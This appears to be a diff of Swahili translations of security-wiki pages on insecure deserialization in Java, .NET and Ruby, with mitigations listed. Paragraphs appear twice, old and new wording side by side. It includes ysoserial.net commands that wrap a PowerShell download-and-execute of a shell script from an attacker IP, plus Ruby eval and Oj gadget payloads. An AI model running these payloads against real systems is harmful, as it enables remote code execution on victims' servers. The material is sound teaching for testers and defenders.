**Kutumia Java Agent kwa Kuongeza Usalama** inatoa suluhisho la akiba wakati mabadiliko ya msimbo hayawezekani. Njia hii inatumika hasa kwa **kuorodhesha madarasa hatari**, kwa kutumia parameter ya JVM:
```
-javaagent:name-of-agent.jar
```
@ -554,9 +554,9 @@ Inatoa njia ya kulinda deserialization kwa njia ya kidinamik, inayofaa kwa mazin
Angalia mfano katika [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Kutekeleza Filters za Serialization**: Java 9 ilianzisha filters za serialization kupitia **`ObjectInputFilter`** interface, ikitoa mekanizma yenye nguvu ya kuweka vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.
**Kutekeleza Filters za Serialization**: Java 9 ilianzisha filters za serialization kupitia **`ObjectInputFilter`** interface, ikitoa mekanism yenye nguvu ya kuweka vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization.
Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuisawazisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano:
Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuikamilisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -568,16 +568,16 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**Kutumia Maktaba za Nje kwa Usalama Ulioimarishwa**: Maktaba kama **NotSoSerial**, **jdeserialize**, na **Kryo** zinatoa vipengele vya juu vya kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa tabaka za ziada za usalama, kama vile kuorodhesha au kuzuia madarasa, kuchambua vitu vilivyohifadhiwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya serialization.
**Kutatua Maktaba za Nje kwa Usalama Ulioimarishwa**: Maktaba kama **NotSoSerial**, **jdeserialize**, na **Kryo** zinatoa vipengele vya hali ya juu kwa kudhibiti na kufuatilia deserialization ya Java. Maktaba hizi zinaweza kutoa tabaka za ziada za usalama, kama vile kuorodhesha au kuzuia madarasa, kuchambua vitu vilivyohifadhiwa kabla ya deserialization, na kutekeleza mikakati ya kawaida ya serialization.
- **NotSoSerial** inakamata michakato ya deserialization ili kuzuia utekelezaji wa msimbo usioaminika.
- **NotSoSerial** inakabili mchakato wa deserialization ili kuzuia utekelezaji wa msimbo usioaminika.
- **jdeserialize** inaruhusu uchambuzi wa vitu vilivyohifadhiwa vya Java bila kuvitafsiri, kusaidia kubaini maudhui yanayoweza kuwa na madhara.
- **Kryo** ni mfumo mbadala wa serialization unaosisitiza kasi na ufanisi, ukitoa mikakati ya serialization inayoweza kubadilishwa ambayo inaweza kuimarisha usalama.
### Marejeleo
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- Mazungumzo kuhusu deserialization na ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- Mazungumzo kuhusu Deserialization na ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Mazungumzo kuhusu gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) na slaidi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@ -585,12 +585,12 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java na .Net JSON deserialization **karatasi:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** mazungumzo: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) na slaidi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVEs za deserialization: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Karatasi ya deserialization ya Java na .Net JSON **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** mazungumzo: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) na slaidi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVE za deserialization: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
Pata kile ambacho ni **JNDI Injection, jinsi ya kulitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell** (na mfano wa vuln hii) katika ukurasa ufuatao:
Pata kile ni **JNDI Injection, jinsi ya kuitumia vibaya kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell** (na mfano wa udhaifu huu) katika ukurasa ufuatao:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na kiwango kilichotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa mbali, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Bidhaa
@ -610,12 +610,12 @@ Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe:
### Utekelezaji
Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **privileges za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akreditif za halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\
Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **mamlaka ya kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akidi halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\
Hii inamaanisha kwamba katika utekelezaji huu **wateja wote watakaotumia ujumbe huo wataambukizwa**.
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama usio salama pembejeo za mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo.
Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama wa chini pembejeo za mtumiaji) bado unahitaji kutafuta vifaa halali ili kutumia udhaifu huo.
Zana [JMET](https://github.com/matthiaskaiser/jmet) ilitengenezwa ili **kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia gadgets zinazojulikana**. Hizi exploit zitaweza kufanya kazi ikiwa huduma bado ina udhaifu na ikiwa yoyote ya gadgets zilizotumika iko ndani ya programu iliyo hatarini.
Zana [JMET](https://github.com/matthiaskaiser/jmet) ilitengenezwa ili **kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia vifaa vilivyofahamika**. Hizi exploit zitafanya kazi ikiwa huduma bado ina udhaifu na ikiwa mojawapo ya vifaa vilivyotumika iko ndani ya programu iliyo hatarini.
### Marejeleo
@ -624,7 +624,7 @@ Zana [JMET](https://github.com/matthiaskaiser/jmet) ilitengenezwa ili **kuungani
## .Net
Katika muktadha wa .Net, exploit za deserialization zinafanya kazi kwa njia inayofanana na zile zinazopatikana katika Java, ambapo gadgets zinatumika kutekeleza msimbo maalum wakati wa deserialization ya kitu.
Katika muktadha wa .Net, exploit za deserialization zinafanya kazi kwa njia inayofanana na zile zinazopatikana katika Java, ambapo vifaa vinatumika kuendesha msimbo maalum wakati wa deserialization ya kitu.
### Alama
@ -635,29 +635,29 @@ Msimbo wa chanzo unapaswa kuchunguzwa kwa matukio ya:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina kuamuliwa na variable chini ya udhibiti wa mtumiaji.
Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina hiyo kubainishwa na variable chini ya udhibiti wa mtumiaji.
#### BlackBox
Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`.
Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kufanyiwa deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`.
### ysoserial.net
Katika kesi hii unaweza kutumia zana [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) ili **kuunda exploit za deserialization**. Mara tu unaposhusha hifadhi ya git unapaswa **kuunda zana** kwa kutumia Visual Studio kwa mfano.
Katika kesi hii unaweza kutumia zana [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) ili **kuunda exploit za deserialization**. Mara tu unaposhusha hifadhi ya git unapaswa **kuunda zana hiyo** kwa kutumia Visual Studio kwa mfano.
Ikiwa unataka kujifunza kuhusu **jinsi ysoserial.net inavyounda exploit zake** unaweza [**kuangalia ukurasa huu ambapo inafafanuliwa gadget ya ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Chaguzi kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--output`** na **`--plugin`.**
- **`--gadget`** inatumika kuashiria gadget ya kutumia (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri).
- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye back-end kutafsiri payload na utumie ile ile kuihifadhi)
- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inakodisha** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa chaguo-msingi kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na baadhi ya **matatizo ya ulinganifu wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
- **`--gadget`** inatumika kuashiria gadget ya kutumia vibaya (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri).
- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye nyuma kutafsiri payload na utumie ile ile kuhifadhi).
- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inakodisha** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa default kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na baadhi ya **matatizo ya ulinganifu wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._
- **`--plugin`** ysoserial.net inasaidia plugins kutengeneza **exploits kwa mifumo maalum** kama ViewState
#### Zaidi ya vigezo vya ysoserial.net
- `--minify` itatoa **payload ndogo** (ikiwa inawezekana)
- `--raf -f Json.Net -c "chochote"` Hii itaonyesha gadgets zote zinazoweza kutumika na formatter iliyotolewa (`Json.Net` katika kesi hii)
- `--raf -f Json.Net -c "chochote"` Hii itaonyesha vifaa vyote vinavyoweza kutumika na formatter iliyotolewa (`Json.Net` katika kesi hii)
- `--sf xml` unaweza **kuonyesha gadget** (`-g`) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (bila kujali herufi kubwa au ndogo)
**Mifano ya ysoserial** kuunda exploits:
@ -678,9 +678,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** pia ina **kipengele cha kuvutia sana** ambacho husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: `--test`\
Ikiwa utaashiria kipengele hiki **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.\
Kipengele hiki ni muhimu kwa sababu ukikagua msimbo utapata vipande vya msimbo kama ifuatavyo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
**ysoserial.net** ina **parameta ya kuvutia sana** inayosaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: `--test`\
Ikiwa utaashiria parameta hii **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.\
Parameta hii ni ya msaada kwa sababu ukikagua msimbo utaona vipande vya msimbo kama ifuatavyo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -705,26 +705,26 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
Katika **msimbo wa awali unahatarisha kwa shambulio lililotengenezwa**. Hivyo basi, ikiwa unapata kitu kinachofanana katika programu ya .Net, inamaanisha kwamba labda programu hiyo pia inahatarishwa.\
Kwa hiyo, **`--test`** parameter inatupa uwezo wa kuelewa **ni sehemu zipi za msimbo zinahatarishwa** na shambulio la deserialization ambalo **ysoserial.net** linaweza kutengeneza.
Katika **kodi ya awali ina udhaifu kwa exploit iliyoundwa**. Hivyo basi, ikiwa unapata kitu kinachofanana katika programu ya .Net, inamaanisha kwamba labda programu hiyo ina udhaifu pia.\
Kwa hiyo, **`--test`** parameter inatupa uwezo wa kuelewa **ni vipande vipi vya kodi vinavyoweza kuathiriwa** na exploit ya deserialization ambayo **ysoserial.net** inaweza kuunda.
### ViewState
Angalia [hii POST kuhusu **jinsi ya kujaribu kuhamasisha parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza msimbo wowote.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza msimbo**](exploiting-__viewstate-knowing-the-secret.md)**.**
Angalia [hii POST kuhusu **jinsi ya kujaribu ku exploit parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza kodi isiyo na mipaka.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza kodi**](exploiting-__viewstate-knowing-the-secret.md)**.**
### Kuzuia
### Prevention
Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
- **Epuka kuruhusu mitiririko ya data kufafanua aina zao za vitu.** Tumia `DataContractSerializer` au `XmlSerializer` inapowezekana.
- **Epuka kuruhusu mizunguko ya data kufafanua aina zao za vitu.** Tumia `DataContractSerializer` au `XmlSerializer` inapowezekana.
- **Kwa `JSON.Net`, weka `TypeNameHandling` kuwa `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Epuka kutumia `JavaScriptSerializer` na `JavaScriptTypeResolver`.**
- **Punguza aina ambazo zinaweza kuhamasishwa**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.
- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumiwa vibaya.
- **Dhibiti kwa usalama uanzishaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na hivyo kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa hatarini.
- **Punguza aina ambazo zinaweza ku deserialized**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma.
- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumika vibaya.
- **Dhibiti kwa usalama uundaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa na udhaifu.
- **Tekeleza udhibiti wa orodha nyeupe** kwa kutumia `SerializationBinder` maalum kwa `BinaryFormatter` na `JSON.Net`.
- **Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyojulikana** ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.
- **Tenga msimbo unaoweza kuwa hatari** kutoka kwa msimbo wenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyojulikana, kama `System.Windows.Data.ObjectDataProvider` katika programu za WPF, kwa vyanzo vya data visivyoaminika.
- **Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyofahamika** ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo.
- **Tenga kodi inayoweza kuwa hatari** kutoka kwa kodi yenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyofahamika, kama `System.Windows.Data.ObjectDataProvider` katika programu za WPF, kwa vyanzo vya data visivyoaminika.
### **Marejeo**
@ -735,9 +735,9 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net:
## **Ruby**
Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya **marshal**. Mbinu ya kwanza, inayojulikana kama **dump**, inatumika kubadilisha kitu kuwa mtiririko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, **load**, inatumika kurudisha mtiririko wa byte kuwa kitu, mchakato unaojulikana kama deserialization.
Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya **marshal**. Mbinu ya kwanza, inayojulikana kama **dump**, inatumika kubadilisha kitu kuwa mzunguko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, **load**, inatumika kurudisha mzunguko wa byte kuwa kitu, mchakato unaojulikana kama deserialization.
Ili kulinda vitu vilivyohifadhiwa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uaminifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
Ili kulinda vitu vilivyopangwa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
@ -819,14 +819,14 @@ Mnyororo mwingine wa RCE kutumia Ruby On Rails: [https://codeclimate.com/blog/ra
### Mbinu ya Ruby .send()
Kama ilivyoelezwa katika [**ripoti hii ya udhaifu**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ikiwa ingizo la mtumiaji lisilo safishwa linafikia mbinu ya `.send()` ya kitu cha ruby, mbinu hii inaruhusu **kuita mbinu nyingine yoyote** ya kitu hicho kwa vigezo vyovyote.
Kama ilivyoelezwa katika [**ripoti hii ya udhaifu**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ikiwa ingizo la mtumiaji lisilo safishwa linafikia mbinu ya `.send()` ya kitu cha ruby, mbinu hii inaruhusu **kuita mbinu nyingine yoyote** ya kitu hicho kwa kutumia vigezo vyovyote.
Kwa mfano, kuita eval na kisha msimbo wa ruby kama parameter ya pili kutaruhusu kutekeleza msimbo wa kiholela:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Zaidi ya hayo, ikiwa tu parameter moja ya **`.send()`** inasimamiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho **hakihitaji hoja** au ambazo hoja zake zina **thamani za default**.\
Kwa hili, inawezekana kuhesabu njia zote za kitu ili **kupata baadhi ya njia za kuvutia zinazokidhi mahitaji hayo**.
Kwa hili, inawezekana kuhesabu njia zote za kitu ili **kupata baadhi ya njia za kuvutia ambazo zinakidhi mahitaji hayo**.
```ruby
<Object>.send('<user_input>')
@ -850,11 +850,11 @@ candidate_methods.length() # Final number of methods=> 3595
```
### Ruby class pollution
Angalia jinsi inaweza kuwa inawezekana [kuharibu darasa la Ruby na kulitumia hapa](ruby-class-pollution.md).
Angalia jinsi inaweza kuwa inawezekana [kuchafua darasa la Ruby na kulitumia hapa](ruby-class-pollution.md).
### Ruby _json pollution
Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini kisha pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhashiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini.
Angalia maelezo zaidi katika [ukurasa wa Ruby _json pollution](ruby-_json-pollution.md).
@ -862,7 +862,7 @@ Angalia maelezo zaidi katika [ukurasa wa Ruby _json pollution](ruby-_json-pollut
Teknolojia hii ilichukuliwa [**kutoka kwenye chapisho la blogi hii**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Kuna maktaba nyingine za Ruby ambazo zinaweza kutumika kuunda vitu na hivyo zinaweza kutumika vibaya kupata RCE wakati wa deserialization isiyo salama. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na njia wanayoita ya maktaba iliyopakuliwa kila wakati inapotolewa (kazi ya kutumia vibaya kupata RCE kimsingi):
Kuna maktaba nyingine za Ruby ambazo zinaweza kutumika kuunda vitu na hivyo zinaweza kutumika vibaya kupata RCE wakati wa deserialization isiyo salama. Jedwali lifuatalo linaonyesha baadhi ya maktaba hizi na njia wanayoita ya maktaba iliyopakiwa kila wakati inapotolewa (kazi ya kutumia vibaya ili kupata RCE kimsingi):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
@ -888,7 +888,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
Katika kesi ya kujaribu kutumia Oj, ilikuwapo uwezekano wa kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwapo uwezekano wa kufanya iweze kupata URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
Katika kesi ya kujaribu kutumia Oj, ilikuwa inawezekana kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwa inawezekana kuifanya ipate URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi.
```json
{
"^o": "URI::HTTP",

View File

@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
";alert(0);//
```
## Open Redirect kupakia faili za svg
```markup
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

View File

@ -8,7 +8,7 @@ Lengo la PoCs na Polygloths hizi ni kumtolea mtihani **muhtasari** wa haraka wa
> Hii **cheatsheet haitoi orodha kamili ya majaribio kwa kila udhaifu**, ni baadhi tu ya msingi. Ikiwa unatafuta majaribio ya kina zaidi, pata kila udhaifu ulioanzishwa.
> [!CAUTION]
> Hapa **hutapata sindano zinazotegemea Aina ya Maudhui kama XXE**, kwani kawaida utajaribu hizo mwenyewe ikiwa utapata ombi linalotuma data za xml. Hapa **hutapata sindano za database** pia kwani hata kama maudhui fulani yanaweza kuonyeshwa inategemea sana teknolojia na muundo wa DB ya nyuma.
> Hapa **hutapata sindano zinazotegemea Aina ya Maudhui kama XXE**, kwani kawaida utajaribu hizo mwenyewe ikiwa utapata ombi linalotuma data za xml. Hapa **hutapata sindano za database** kwani hata kama maudhui fulani yanaweza kuonyeshwa inategemea sana teknolojia na muundo wa DB ya nyuma.
## Polygloths list
```python
@ -81,7 +81,7 @@ $(ls)
```
## [CRLF](../crlf-0d-0a.md)
### Jaribio la Msingi
### Majaribio ya Msingi
```bash
